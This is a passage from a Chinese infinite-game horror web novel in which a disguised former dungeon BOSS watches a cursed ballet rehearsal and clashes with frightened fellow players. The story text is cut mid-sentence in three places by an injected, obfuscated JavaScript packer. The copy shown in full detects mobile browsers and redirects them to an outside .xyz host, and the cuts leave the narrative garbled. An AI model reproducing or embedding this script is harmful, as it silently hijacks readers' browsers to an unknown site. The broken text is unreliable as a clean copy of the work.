首先,背着半截人很不美观,其次,这很碍事。 “你去【篝火房】等我。”孟绎说。 【篝火房】相当于副本中的“安全屋”,巫鬼一般不会主动靠近篝火房。这还是新手副本,在篝火房里躲2-3个小时,不会遇到生命威胁。 四层就有一个篝火房,在电梯井不远处。常昊带着哭腔说:“谢谢您,谢谢!” 他双手合十朝孟绎一拜,忘记了自己没有腿,身体失去支撑,额头咚地一声砸在地板上。 孟绎对常昊的“顶礼膜拜”没什么反应,绣着杜鹃鸟的帆布鞋毫不留恋地从常昊的视野中消失,走向黑黢黢的电梯井。 另外三个玩家,还愣在电梯井旁边。 “你要带着他?”贺彩音压低声音问孟绎,见孟绎点头,她不赞成地蹙起眉,但也没说什么。 得知孟绎拿到剧情卡,还获得了先知成就时,贺彩音意识到自己可能小瞧了他,本想就“孤立孟绎”一事向孟绎道歉(虽然孟绎不知道自己被孤立过),再次和孟绎联合。 还没等贺彩音做出行动,孟绎先捡了个累赘。 贺彩音当然猜不到孟绎只是想联系缝纫术,她只觉得孟绎是个不该出现在无限副本里的圣父。 小团伙里有个圣父,一死死一片。贺彩音找了个借口,和另外三人先行离开,第二次孤立孟绎(尽管孟绎不知道)。 孟绎单手扶着电梯外墙,探身往下看。 他的夜视能力极好,人类眼中漆黑无光的空间,孟绎眼中,每一个细节都一清二楚。 电梯间摔得不算太严重,常昊的腿应该没被压扁。 孟绎目测了一下高度,三十多米。 他刚想跳下去,很快想到一个问题:他在伪装普通人类玩家。人类的身体很脆弱,从三十多米的高度摔下去,会摔死么? 身后,常昊用两条胳膊奋力地往篝火房的方向爬,孟绎拦住他:“从三十多米高的地方跳下去,人会摔死么?” 常昊心有余悸地往电梯井里看了一眼,剧院举架高,他们在四楼,距电梯井底部三十多米,相当于居民楼的八、九层。 “摔不死……”常昊一句话还没说完,而孟绎只听了前三个字,就跳下去了。 跳下去了! 常昊目瞪口呆地说出后半句:“……也得摔成高位截瘫。” 【您???】 【这就跳下去了?新人玩家的身体没被强化过,这不死也半残了】 【他怎么一点事都没有?】 【不仅没事,还能单手掀飞电梯顶】 【这是人类可以拥有的力量么??】 【卧槽他直接从一楼跳到了四楼!!!】 电梯井旁边,常昊惊得像一只傻狍子,呆呆地一动不动。一阵叮咣叮咣的刺耳响声后,孟绎单手拎着他的半截身躯,跳到四层平台。 截断面滴答滴答地淌着血,那是常昊的身体,但常昊此刻没心情和身体道一句“好久不见”,他错愕地瞪着孟绎,一句话也说不出来。 “我在电梯里找到了这个。”孟绎拿出突突跳动的心脏,“这是哪儿来的?” 常昊仍处于震惊中 ,颠三倒四地复述了一遍他们在电梯中的经历。 孟绎听完,什么都没说,他能感受到,这颗心脏上有秘术师的气息,而且是充满恶意的气息。 秘术师,也就是游戏副本的BOSS 作为曾经的副本BOSS,孟绎很清楚同事们的工作状态,E人BOSS愿意和玩家聊聊天,I人BOSS则像孟绎一样,品茶焚香下棋刺绣打发时间。 只有小部分的BOSS,会主动找玩家麻烦。 这类“小部分BOSS”有一个共通点:怨气极重。 孟绎又忍不住思考“从哪来到哪去”的问题,他作为终极BOSS,诞生之初,记忆一片空白,别说怨气了,他都不知道自己是谁。 此外,BOSS之间有个心照不宣的秘密:他们都曾被万相抹除过记忆。 【僵化剧院】副本的秘术师心存怨气,是否说明,她的记忆没有被抹除干净?她知道秘术师“从哪来到哪去”么? 孟绎对新手副本的剧情愈发感兴趣了,他想探索一下隐藏剧情。 思索结束,孟绎把半截身体放在常昊身边:“你的腿,搬到篝火房。” 常昊摸了摸那双有些冰凉、僵硬的肢体,许久后才从震惊中恢复过来:“大佬,你……额……” 孟绎已经走远了。 * 知道自己会死,和真正意识到自己会死,完全是两回事。 目睹常昊被腰斩后,贺彩音等人或多或少都有些心神不宁。那副鲜血淋漓的画面占据了他们全部的思维,他们甚至没有精力思考孟绎为什么要帮助常昊。 “振作点。”贺彩音说,她的声音也是有气无力,“我们要去找【厄运蜡烛】。使用厄运蜡烛,才能进行卡牌转换。” 电梯到不了五层,三人再次走楼梯。这一次,他们的心境近乎麻木。很幸运,阴影中的女人没在他们耳边“嘻嘻嘻”地笑。 他们闷着头,一鼓作气冲出步梯间,来到五楼,不约而同地长舒一口气。 苏凡展开地图看了看。 副本地图,分为危险区域和普通区域两类,危险区域有血迹,比如孟绎进入过的练舞厅。 新手副本没有太为难玩家,厄运蜡烛位于普通区域。 但普通区域不代表风平浪静,楼梯和电梯也位于普通区域,不还是把常昊腰斩了么? 三人紧握着地图,提心吊胆地往厄运蜡烛的方向走。贺彩音一会儿看看地图,一会儿看看周围环境。 路过一扇半敞着的门,贺彩音说:“这扇门通往演出厅包厢。刘明,你真不打算看看彩排,万一观看彩排没有危险呢?” “万分之九千九百九十九呢?”刘明说,“电梯看起来还没有危险呢。” 贺彩音没再说什么。她心中有一个很深的顾虑:他们的幸运等级都是D 这个幸运等级中等偏低,转化行为卡,有可能得不到好结果,甚至……更糟糕。 三人很快来到厄运蜡烛所在的房间,是一间办公室,门牌上写着:舞团团长-克罗亚 吱呀一声,推开陈旧的木门,踩在落满灰沉的木地板上,三人小心翼翼的模样,仿佛在滚烫的钢板上行走。 办公桌一角,有一罐蜡烛静静地燃烧着,跳动的火苗下方,却没有融化的蜡油。 刘明深呼吸一次,将他的学徒行为卡摆在办公桌上。 贺彩音将自己的【功能卡】摆在旁边,牌名是【转化】,卡面中央写着:改变一张卡牌的内容、等级、或是将卡牌与其他玩家绑定。 “要不我们再考虑一下?”苏凡说,“我们的幸运等级都不高,万一转化的结果更糟,该怎么办?我们可只有一张转化功能卡。” 刘明呼哧呼哧地喘着粗气,此刻他冷静了许多,他心里知道,苏凡和贺彩音的话很有道理。 看一看时间,他们进入副本已有75分钟,他们还没搜集到一份哑盐,先折了一个队友。 眼下的情况,承担不起更多的意外。 但是,学徒级的行为卡,任务是在闹鬼的剧院看妖魔鬼怪的舞蹈彩排…… 正想着,一段咿咿呀呀的音乐骤然响起,吓得刘明打了个哆嗦。那曲子冷冷清清、如泣如诉,真好似怨鬼的哭啼。 “哪来的鬼动静!”刘明没好气地说。 贺彩音:“《怨侣》的彩排。” 刘明:“你怎么知道?” 贺彩音敲了敲桌子上的一张纸:“时间表上写着呢。” 彩排时间:1175.12.11,下午4:30-5:00 办公室里有日历和座钟,正是1175年,12月11日,下午四点半。 下一场彩排,晚上九点开始。也就意味着,刘明若错过了这场彩排,还想完成行为卡的任务,至少要在副本中等待四个半小时。 “我们去就去看一看,”贺彩音提议,“如果不对劲,立刻离开。” 刘明想了想,点头同意。学徒行为卡会转化成什么卡牌,他心里也没底,不如去勘察一下情况。 刘明又找到五楼那扇半敞开的门,小心翼翼推开一点,看到门后的情况后,他一脚踢开了门。 包厢中,孟绎听到异响,回头看了一眼。 “你怎么在这儿?!”刘明气冲冲地问。 他看到孟绎就气不打一处来,他抽到学徒级行为卡,完全是因为孟绎这尊瘟神。 如果没有孟绎,他的处境怎会如此艰难? 孟绎平静的声音中带着一丝不解,仿佛刘明问了个很蠢的问题。演出厅的包厢里,还能干什么?难不成是野餐? “看彩排。”孟绎回答。 刘明握着拳头就要冲过去,贺彩音连忙拦住,并转移话题:“你不是要救常昊么,怎么又来看彩排了?” “哦,”孟绎说,“我把常昊的身体缝合好了,但效果不是特别理想,针脚有些乱,皮肤起皱了。我想是因为我的针距没控制好……” 孟绎自顾自地分享着缝纫心得,完全没注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们的位置离舞台很近,也就意味着他们可以沉浸式感受360°环绕的鬼哭狼嚎乐曲,更仔细地观摩那群幽魂似的演员在舞台上飘来飘去。 看了一会儿,刘明先别过脸去,颤抖着声音说:“演、演员,是鬼,他们在飘。” “幽灵步,”贺彩音说,“一种专业的舞蹈步伐,在裙子底下,垫着脚,小幅度高频率地挪动脚步,看起来就像幽灵在飘。” 孟绎兴致更浓:“您对舞蹈很了解?可以为我讲解一些么?” 贺彩音表示婉拒,心里很奇怪:她带头孤立孟绎,孟绎怎么一如往常地和她聊天?是不是别有用心? 该不会是没发现他们的小动作吧? 怎么可能。贺彩音立刻否定了正确猜测。 这要命的副本里,人的精神无比脆弱。其他四个人成群结队,孟绎一人孤军奋战,怎么可能一点儿敌意都察觉不到呢? 贺彩音只觉得孟绎此人城府极深,这种情况还能和她心平气和地聊天。 “我不太了解舞蹈,”贺彩音含糊地说,“我认识的一个人是舞蹈演员,我听他讲过几句,我只知道一点皮毛。” 三人心不在焉地瞧着,刘明更是如坐针毡。只有孟绎在认真看。 “又变了。”孟绎轻声说。 刘明草木皆兵,警惕地问:“什么变了?” 孟绎向前探身,胳膊搭在膝盖上,指了指舞台上的公主:“您仔细瞧扮演女主的那位演员,她的脸有时会和反派的脸互换。” 刘明这才正眼看舞台。 副本中的NPC,均是生活在提尔纳诺恪的巫师,他们的舞蹈,自然带了一些巫术的气息。 神秘、古奥……恐怖。 此刻,舞台上正表演一场诡异的仪式。一群人围着死去的公主,跳着令人不适的舞步,烟雾呈螺旋状升起,黑雨从檐幕中落下。 公主的身体颤抖了一下,以一种违反生理学的姿势,笔直地站了起来,膝盖和脊背都没有弯曲。 若是在外界的普通剧院,观看到这样的表演,观众会拍手叫好。 但他们半小时前才目睹了一场腰斩,刘明只觉得浑身发凉。 刚复活的公主,身体还很僵硬,木偶似的扭着脖子,抖动胳膊。 她姿势不自然地歪着头,耳朵几乎要碰到肩膀。 配乐咚的一声响,公主歪成九十度的脑袋,又往下转了九十度……画了个圆又回到原位。 刘明骂了句脏话,站起身背对舞台,不堪忍受地捂住脸。 “淡定一点儿,”苏凡安慰道,“可能是一种舞蹈动作。” “谁的脑袋能转一个圈啊!”刘明崩溃地喊。 “嘘,”贺彩音说,“你们看。” 逐渐恢复生机的公主,露出迷人的微笑,也就在这个时候,她的脸在……闪烁。 时而是原本的脸,时而是海报上被划花的脸,时而变成美艳女人的脸。 “她她她她!!”看到美艳女人时,刘明全身哆嗦,“她是我们在楼梯里遇到的女鬼!!” 刘明口中的“女鬼”,名为克吉尼亚,饰演的正是女反派,也是副本的BOSS。孟绎正想问问他们在楼梯里遭遇了什么,舞台上又生变故。 克吉尼亚饰演的女主,高高举起斧头,寒光一闪,斧刃咔嚓一声落下……将男主腰斩了。 那一瞬间,孟绎感受到秘术师的气息,他留意收敛了自己的力量,再次望向舞台时,被腰斩的人,竟长着孟绎的脸。 不只有孟绎被幻觉影响。 “我在舞台上!我被腰斩了!”刘明大叫,双手在自己腰间慌张地摸来摸去。 女主手中的斧头滴着血,她忽然看向包厢的位置,向他们露出阴恻恻的微笑。 刘明悲号一声,夺门而逃。 8. 僵化剧院(6) 那三人逃走后,孟绎还小心地收敛着自己的气息。 他很好奇,这个副本的BOSS到底要作什么妖。 【这都没被吓到?当二十年刽子手再经营二十年鬼屋才能有的心理素质】 【娘胎里听的是聊斋志异,学的第一件乐器是水琴吧?】 【我怎么感觉,孟绎不仅没有害怕,反而更感兴趣了呢?】 【还真是,他甚至笑了!】 孟绎翘着腿,靠在包厢的沙发里,一条胳膊搭着扶手,像看到精彩的表演那样,心领神会地微笑。 【我觉得孟绎比舞台上的那群更可怕……】 【+1】 【+10086】 男主被腰斩后,乐曲戛然而止。 “停!”一个人在台下喊,等所有演员齐刷刷地站成一排,那人气势凌人地走上舞台,伸出手指指着女主:“女主舞,你跳得不对!” 女主舞的脸,又变成了麦格纳的脸。而那位妖冶的美人,穿着反派的戏服,侧着身子,一脸幸灾乐祸的笑容。 麦格纳从下往上瞥了舞团团长一眼,似乎有些怕她,什么都没说。 “你应该表现出恨意,男主背叛了你,你要复仇,你要杀了他。”舞团团长用一只手的手背拍着另一只手的手心,她腕子上的一堆手镯互相碰撞,叮咚作响。 包厢中,孟绎静静地瞧着舞团团长,他在电梯海报里读到过她的名字:克罗亚。 克罗亚和克吉尼亚长得很像,名字也像。秘术师看不出年龄,或许是母女,或许是姐妹。 “记住了么?表现出恨意,别再跳错了。”克罗亚的语气精准地把控在“嫌弃”和“严厉”之间,让她显得不那么刻薄,却能让别人感到不舒服。 乐曲重新响起,复活和腰斩的情节重新跳了一遍。 这一次,女主复活时一切正常,演员的脸没变来变去。当女主举起斧头时,团长克罗亚又拔高声音喊:“停!” “麦格纳,你作为主舞,你就跳成这个样子么?” 克罗亚的语速很快,说话如倒豆子,再加上她咄咄逼人的语气,令人胸口压抑,喘气都费力。 正声严厉色地数落时,麦格纳带着哭腔,小声说了句什么。舞台上所有人惊恐地瞅着她。 “你说什么!”克罗亚的声音愈发尖锐。 “我说!你们排的剧目不对!女主根本不会杀死男主,即使男主背叛了她!”麦格纳的喊声中带着哭腔。 舞台陷入绝对的寂静,所有人都露出悲哀的神色,除了克吉尼亚,她嗤嗤笑了两声,和身边的人挤眉弄眼。 克罗亚也安静了几秒钟,随后冷笑一声:“麦格纳,你搞清楚情况,若不是我收购了舞团,你们全都得砸了饭碗。” 麦格纳的声音更大了:“明明是你逼死了老团长!” 此言一出,空气仿佛瞬间冷却,所有人都盯着麦格纳,困惑、惊愕、怜悯…… 许久之后,团长克罗亚叹了口气,声音变得非常温柔:“可怜的孩子,我明白你接受不了老团长的悲剧。但是,孩子,你是我们的台柱子,你要振作起来。” 克罗亚:“孩子,悲伤令你神智失常,你跳得不对。你的思维僵化了,你的舞蹈也僵化了。” “杀了男主,你恨他。” “杀了男主,你恨他。” “杀了男主,你恨他。” 舞台上,所有人都消失了,只剩克罗亚的叮嘱在回荡。 “杀了男主,你恨他。” …… ——“杀了布鲁图斯,你恨他。” 灯光同时熄灭,孟绎静静地坐在黑暗中。 克罗亚也是秘术师。 【僵化剧院】副本有两个BOSS,一个是舞团团长,一个是反派舞蹈演员。 这种低级BOSS,别说两个,有20个对孟绎来说也易如反掌。让孟绎发愁的是另一件事: 搜集第二捆灵线时,孟绎吓跑了其中一个秘术师。秘术师会不会害怕得不敢接近他? 这可真是件麻烦事。孟绎还想问问她们,记不记得成为副本BOSS前的事呢。 系统的声音打断了孟绎的思考。 “【杂役-孟绎】观看了一场《怨侣》的彩排” “【杂役-孟绎】获得剧情卡【僵化】” * 舞团团长办公室。 刘明瘫坐在桌子旁,用力地揪着自己的头发,仿佛想把剧院中的记忆从头发里扯出去。 贺彩音和苏凡也魂不守舍,男主被腰斩时,她们看到的,是自己被斩断成两截。舞台和电梯间重合,她们在趴在电梯前哀嚎、惨叫…… 对于刚目睹了一场惨剧的新人来说,这种刺激过于强烈。 “转换,转换!”刘明慌慌张张地爬起来,抓住救命稻草似的,死死握住厄运蜡烛。 刘明近乎哀求地说:“彩音姑娘,救救我,这张学徒卡会要了我的命!” 贺彩音捏着自己那张【功能卡】,没立刻交出去,她心里想着:彩排虽然吓人,但也没发生什么啊,他们不是完好无损地出来了么? 苏凡则摸摸自己的斗篷,生怕也像常昊一样,口袋里多出一颗突突跳动的心脏。 “救我啊,救我,你答应好了,我们在副本中合作!”刘明恳切地说,“你帮我解决了这张学徒卡,你杀了我小弟的事一笔勾销,怎么样?” 贺彩音还是抿唇不语,若有所思地望着对面的墙发呆。 办公室贴着暗红色的墙布,团长克罗亚的照片挂满四面墙,照片中的她支颐扭颈,仪态优雅,笑吟吟地望着相片外,眼珠仿佛会随着玩家转动。 盯着看久了,会觉得克罗亚的笑容很瘆人,又觉得暗红色的墙布其实是被血染红的。 “贺彩音?”刘明低声唤道。 贺彩音没理会刘明,而是问苏凡:“你抽到的卡是什么?” “道具卡,祈愿纸条。”苏凡说,“在纸条上写下心愿,炼金时放进坩埚里,有较大可能心愿达成,炼出想要的成品。” 目前用不上。炼金需要哑盐,他们一份哑盐还没搜集到呢。 贺彩音隐约有一种不祥的预感:学徒级行为卡一定是坏事么?卡牌的等级更高,功能越好,说不定,是指引玩家探索故事背景的任务呢? 即使普通玩家只想通关,不关心副本的故事背景,但多一张剧情卡也不会对通关造成阻碍。 然而,时间已经来不及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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围绕着牌背的花纹,出现新卡牌的四条边,以及四边的花纹。花纹很简陋,是杂役卡的花纹。刘明大声叫好,苏凡松了一口气。 距离彩排结束还有30秒。 火焰熄灭,行为卡的背面朝向刘明,悬在半空。刘明扑过去一把抓住,颤抖着手把卡牌翻到正面。 距离彩排结束还有20秒。 看到行为卡的任务后,刘明的喜悦瞬间变为惊恐,满是横肉的脸竟有了饱经风霜之感。 距离彩排结束还有10秒。 很显然,转换的结果并不理想。贺彩音一个箭步冲上去,夺过那张杂役行为卡。 牌面上的每个字她都认识,但贺彩音恨不得此刻不识字。 【行为卡:献祭】 【在离开副本之前,献祭一位队友】 彩排结束,办公室的座钟敲了17下,响声惊天动地。 在这震耳欲聋的钟声中,玩家们听到系统的声音:“【杂役-孟绎】观看了一场《怨侣》的彩排,获得剧情卡。” 9. 僵化剧院(7) 孟绎……观看了一场彩排,获得剧情卡? 观看彩排没有危险?学徒级行为卡只是指引他们探索剧情? 系统的声音早已消失,而“孟绎”“剧情卡”“彩排”这三个词仍不断地在刘明脑海中响起,似有恶魔趴在他耳边念经。 刘明的手在抖,拿在手里的杂役行为卡也在抖,“献祭”二字也在抖,那两个字仿佛活了过来,要从卡面中挣脱出来扑向刘明。 他本来可以看完彩排就完成任务的,现在,却必须完成一项更危险、更艰难的任务…… 贺彩音和苏凡二人,也瞪着卡牌,一动不动。座钟还在敲,巨大的响声如同亡魂在恸哭。 孟绎恰在此时,推门进入舞团团长办公室,看到三个队友,习惯性地微微欠身:“诸位,下午好。” 欠身行礼是秘术师的问候方式,然而,还没等孟绎直起身,刘明就冲上来,一拳砸在他侧脸。 这一拳,刘明牟足了力气,他作为一个收保护费的街头混子,一拳头不说把别人打骨折,也能把人打出脑震荡。 孟绎挨了这一拳,却连脖子都没转一下,脸也没有偏过去,仿佛刘明打中的是铜浇铁铸的人偶。 他缓缓直起身,平静地直视刘明。 据孟绎所知,人类见面的问候方式是举起一只手左右摇摆。队友为什么打他一拳? 或许是短时间内第二次见面,问候方式更直接一些吧。 孟绎知道“来而不往非礼也”的道理,他很懂礼貌地一拳砸在刘明的颧骨上。 力度没控制好,刘明登时摔倒,吐出血和牙齿。 【帅!这一拳我给满分!】 【[打赏金币x1]反正我是解气了】 【他甚至假惺惺地说了一句抱歉,优雅,实在优雅。】 孟绎真不是“假惺惺”地说抱歉,他是发自内心地感到抱歉,这一拳好像打重了,超出问好的程度。 他刚要把刘明搀扶起来,贺彩音和苏凡冲过来,把刘明拖走,挡在他身前,警惕地瞪着孟绎。 孟绎再次:? “你看完了彩排?”苏凡问。 孟绎:“没错。” 贺彩音:“没有遇到危险?” “有一些虚张声势的幻象,各位也看到了,舞台上的腰斩,”孟绎说,“我想这应该算不上什么危险,这个世界的特效罢了。” 听完,贺彩音心里更加后悔。 她隐约猜到了事情走向,那就是完成学徒级行为卡的任务,不会遇到生命危险,反而能获得一定报酬。 原因很简单:孟绎是幸运F,如果有倒霉的任务,初始抽卡时,这项倒霉任务更可能落在孟绎头上。 幸运值低,“更可能”抽到糟糕的卡牌,而不是“一定”抽到。贺彩音不能慷他人之慨,让刘明用自己的命去赌。 苏凡后退半步:“你来这里干什么?” “我想调查一下舞团团长克罗亚。”孟绎心平气和地说,“这里有问题么?我不能来么?” 三人哑口无言,一边盯着孟绎,仿佛他随时会冲过来揍人,一边搀着刘明走到门口。 咣当一声,他们摔上门,逃命似的离开舞团团长办公室。 孟绎望着办公室的门,低声说了句“奇怪”。 人类的行为模式真奇怪,孟绎完全搞不懂。 “现在,我不该和他们接触。”孟绎自言自语似的说。进一步了解人类的社会文化后,再和他们交流吧。现在孟绎对人类一知半解,继续接触下去很可能露馅。 对于直播观众来说,这些事和奇怪完全不沾边。反而是孟绎这句“奇怪”比较奇怪。 【哪里奇怪?孟绎发现了什么?】 【他是不是知道刘明手里有献祭卡?这种情况下献祭一个队友,首当其冲就是孟绎。孟绎猜到了,所以说不该和队友接触】 【太聪明了,反应速度真快,洞若观火!】 【他的脑袋没白长,又漂亮又好用】 【就喜欢这种带脑子进副本的[打赏金币x1]】 【愣着干什么,给主播点点关注点点赞啊!】 【别尬吹新人了好么?刘明见到他冲上来就打,正常人的第一反应都是不能和他多接触啊】 【就是就是,没有迹象表明孟绎知道献祭卡的事,贷款给他加高光】 舞团团长办公室只剩下孟绎一个人,他环顾一周,没发现值得他剪下来收藏的布料,于是开始调查每一个细节。 五分钟后,孟绎在堆满杂物的最下层柜子里,找到一块金属门牌。门牌上写着: 舞团团长--莱斯特 彩排时,女主舞和舞团团长话里话外都透露过,老团长不幸离世后,克罗亚才担任舞团团长。 看来,莱斯特就是他们口中的老团长。 孟绎又找到一张克罗亚和克吉尼亚的合影,照片中写着,她们是母女。除此之外,还有一沓《怨侣》的海报。 与电梯中的海报不同,这沓被扔进杂物格的海报上,没有克吉尼亚扮演的反派,画面中央,只有拥抱在一起的男女主舞。 孟绎准备离开时,被桌上的蜡烛吸引了注意力。 蜡烛是淡淡的樱花粉色,玻璃罐上刻着鬼魅的浮雕。孟绎知道这是厄运蜡烛。 厄运蜡烛的烛芯必须由“宣义布”的制成,宣义布的制作方式已失传,用一块少一块,孟绎偶然得到了一匹(获得方式是杀死了一个拥有宣义布的玩家),他对这块布料爱不释手,正想着缝制一只10cm的小娃娃,万相把他这块来之不易的宣义布收走了。 理由是制作厄运蜡烛急缺烛芯,且副本BOSS获得的珍贵物品,在集体需要时必须充公。 想到这件事孟绎就气不打一处来,制成蜡烛后,烛芯被蜡油浸透,砸碎这罐蜡烛,里面的烛芯也不能回收再利用。 孟绎手里拿着蜡烛,在心里追忆讨人嫌的上司,不由得发出一声冷笑。 此举与【僵化剧院】副本没有丝毫关联,但观众不这样认为。 【前面说孟绎没发现献祭卡的人呢?站出来解释解释?】 【他真发现了?高,实在是高!】 【我要是有他这种洞察力就不至于被队友背刺20次了QAQ】 【大佬,教教我怎么一眼看透人心吧】 【贺彩音他们还商量着怎么献祭孟绎呢,实际上,孟绎早就看破了他们的阴谋。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487768|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【一声冷笑,是对队友的嘲笑】 【献祭卡可变成匕首,被匕首捅到必死无疑。他竟然一点也不慌】 【这运筹帷幄的表情,啧啧啧,一切都在孟绎的掌控之中!】 【他看起来已经有对策了】 并不知道自己“掌控一切”“想出对策”的孟绎,离开了舞团团长办公室,找到常昊。 常昊不知被什么东西吓到了,缩在墙角里瑟瑟发抖,孟绎蹲在他身边,简单安抚他一阵,随后将副本里有两个BOSS、老团长死亡和彩排等事一一告诉他。 得知该副本有两个BOSS时,常昊面色煞白,说话哆哆嗦嗦:“那那那那那怎么办?” 孟绎:“还没有人找到隐藏剧情卡。进入隐藏剧情线之前,BOSS不会攻击你。” 常昊咽了口唾沫,听孟绎继续说下去。 “我需要你帮我一个忙,把那两位秘术师引出来。”孟绎说。 他无意间吓跑了一位秘术师,趋利避害,秘术师不会主动靠近孟绎。 但副本中的某些信息,必须和秘术师交流才能得到。 话音未落,常昊就尖叫一声:“不行!绝对不行!我上一次见到女鬼,心脏被他挖了出来!” 常昊紧紧捂着自己的左胸口,心脏分明在他的胸腔中突突跳着:“大佬,我很想报答你的恩情,让我换个方式报答吧,那女鬼,她……她……” 怎么被吓成这副模样?孟绎叹了一口气,他不喜欢强人所难。他试图用微笑安抚过度受惊的队友。 也许是因为孟绎不怎么笑,他的笑容不太自然。昏暗的房间里,常昊手机手电筒的光,从下往上照着孟绎僵硬的笑颜。 模式化的、生硬的笑容,加上经典的恐怖片打光,看起来格外诡异。常昊缩了缩肩膀。 孟绎站起来,向常昊欠身行礼。 常昊:! 你为什么向我鞠躬! 半敞开的门,透出走廊里的灯光,将孟绎的影子拉长,完全覆盖常昊缩成一团的身躯。 “既然如此,那么……”孟绎抽出他的缝纫针。常昊不愿意帮忙,孟绎要想想接下来该怎么办。思考的时候,就缝个小东西打发时间吧。 常昊嗷一声叫出来:“我愿意帮你!” 孟绎的后半句“那么我先告辞”还没说出来,常昊竟然改口。他挑起一侧眉梢,意外地看着常昊。 常昊吓得差点哭出来。孟绎又是恐怖微笑,又是鞠躬行礼,现在还抽出了缝纫针,如果常昊拒绝帮忙,孟绎岂不是要杀了他! 既然队友决定帮忙,那缝纫手工活暂停。 孟绎慢条斯理地将缝纫针别在袖口的位置,向常昊露出一个更真诚、也更僵硬的微笑。 “您想通了,那真是太好了。”孟绎说,脸上仍保持着幅度偏大的微笑。 隐藏线开启之前,BOSS受到系统压制。这还是新手副本,两个受到压制的BOSS根本无法对常昊造成实质性伤害,只能吓唬吓唬他。这一点,常昊终于想通了,自愿帮助他。 常昊点头如捣蒜:“想通了想通了!”我不帮忙你就要杀了我! 二人顺利达成合作关系,其乐融融,和气蔼蔼。 10. 僵化剧院(8) “但但但但但是,我有一个要求!”常昊瞥到孟绎古井无波的脸,语气瞬间软和下来,“我可以提出一个请求么?” 孟绎抬了抬下巴,示意他往下说。 “在和女鬼交流前,我要制作一件【护心符】”常昊说,“万一哪句话没说对,女鬼一爪子挠过来,我肯定死翘翘。护心符可以抵挡一次攻击。” 孟绎:“……” 说了多少遍,玩家进入隐藏线之前,秘术师不会对玩家造成实质性伤害。这不是写在《游戏规则》里面了么? 但孟绎懒得费口舌,点头同意。 “炼制【护心符】,需要一罐【哑盐】。”常昊的眼珠子骨碌碌地转着,不时瞥孟绎一眼。 找到两罐哑盐,才能离开副本。到目前为止,常昊的通关进度为0% 若是孟绎能帮助他找到一罐哑盐,让通关进度来到50%,那这次合作还不算太坏。 孟绎如此强大,有他在,会安全很多。至少在死到临头时可以抱在一起哭。 常昊谨慎地提出请求:“孟绎大佬,您能不能陪我找一罐盐?” “现在去找?”孟绎大感意外,“您的哑盐用光了?” 常昊无辜地眨巴了一下眼睛:“我一罐哑盐也没搜集到啊。” “一罐也没搜集到?”孟绎更意外了,“进入副本150分钟了,一罐也没搜集?” 常昊更无辜了:“您是在鄙视我么!好吧,被您逼视也是应该的,呜呜。” 【哈哈哈哈,学霸理解不了学渣的无助】 【比起什么挖心女鬼、电梯腰斩、吊死鬼、舞台幻象、献祭卡,最让孟绎震惊的竟然是:队友进度这么慢!】 【孟绎可是开局半小时就获得剧情卡,开局40分钟就达成通关条件的狠人】 “并非鄙视您,只不过……”孟绎无力扶额,他当副本BOSS时,遇到的玩家都是顶尖的,他从未想到,新人玩家如此的令人头疼。 “我们现在去搜集哑盐。”孟绎整理了一下别着缝纫针的衣袖,起身就走。 常昊喜不自胜地跟上:“大佬,您其实也不用帮助我,我可以自己找。” “我跟着你,”孟绎斩钉截铁地说,“你一个人去进度太慢,我等不了下一个150分钟。” 常昊:“……奥。” 【孟绎内心:你水平不行,我不是帮你,是怕你碍我事】 【希望我下一局也能遇到孟绎这样的队友】 地图上标注了哑盐的位置,距离他们最近的存放点,是三楼的公共休息室。 孟绎的第二捆灵线,也是在这间仓库里找到的。 再次回到仓库,还是熟悉的样子,墙上用鲜血密密麻麻地写着“滚出去”。 刚推开门,常昊就怪叫一声。孟绎对他的一惊一乍已经习惯了,只平静地用眼神催促他:快点找。 地图上的标记点,只是存放哑盐/灵线的大概位置,哑盐在这个房间里,具体在哪个角落,还需要玩家翻箱倒柜地找。 常昊死死盯着墙上的“滚出去”,慢吞吞地走进来,一步挪不了三寸。 五分钟后,孟绎终于知道,这些新人玩家的进度为什么如此之慢。 他们被吓破了胆子,草木皆兵,自相惊扰。常昊拉开一个抽屉,都要做两分钟的心理建设,仿佛抽屉里会弹出一副牙齿把他的鼻子咬下来。 仓库的面积超过800平,挤挤挨挨地摆满了柜子。按常昊的速度找下去,三小时也搜不完。 “哑盐应该藏在仓库深处,”孟绎说,“我们去里面找一找。” “我不敢往里面走,仓库深处没有灯光,看着就吓人。”常昊带着哭腔说,“大佬,你过来一点儿,别离我太远,我害怕。” 孟绎目测了一下二人现在的距离,足足有十米。 “你遇到危险,喊我就行,我能听到。”孟绎面无表情地说。 常昊摇头摇得像拨浪鼓:“我,我不敢、在这里大、大声说话。” 沉默数秒,孟绎说:“我作一对【传音耳线】,我去仓库深处找一找,你在这儿等着。” 常昊连连点头:“好!” 玩家初始拥有的杂役级身份卡,自带一个技能和两张【设计手稿】,大部分情况下,拥有【设计手稿】,才能制作相应道具。 常昊选择的是炼金术,他的初始技能是【炼金(杂役等级)】,两张设计手稿分别是【护心符】和【冶炼锤】 【护心符】的功能是抵挡一次攻击,【冶炼锤】可以当做武器。既有攻击又有防御,对新手来说很友好。 缝纫术杂役的初始礼包,就显得有些没用了。 初始技能是【缝纫(杂役等级)】,两张设计手稿分别是【诱饵娃娃】和【传音耳线】 【诱饵娃娃】:释放娃娃,吸引巫鬼/秘术师的仇恨,使其主动攻击。 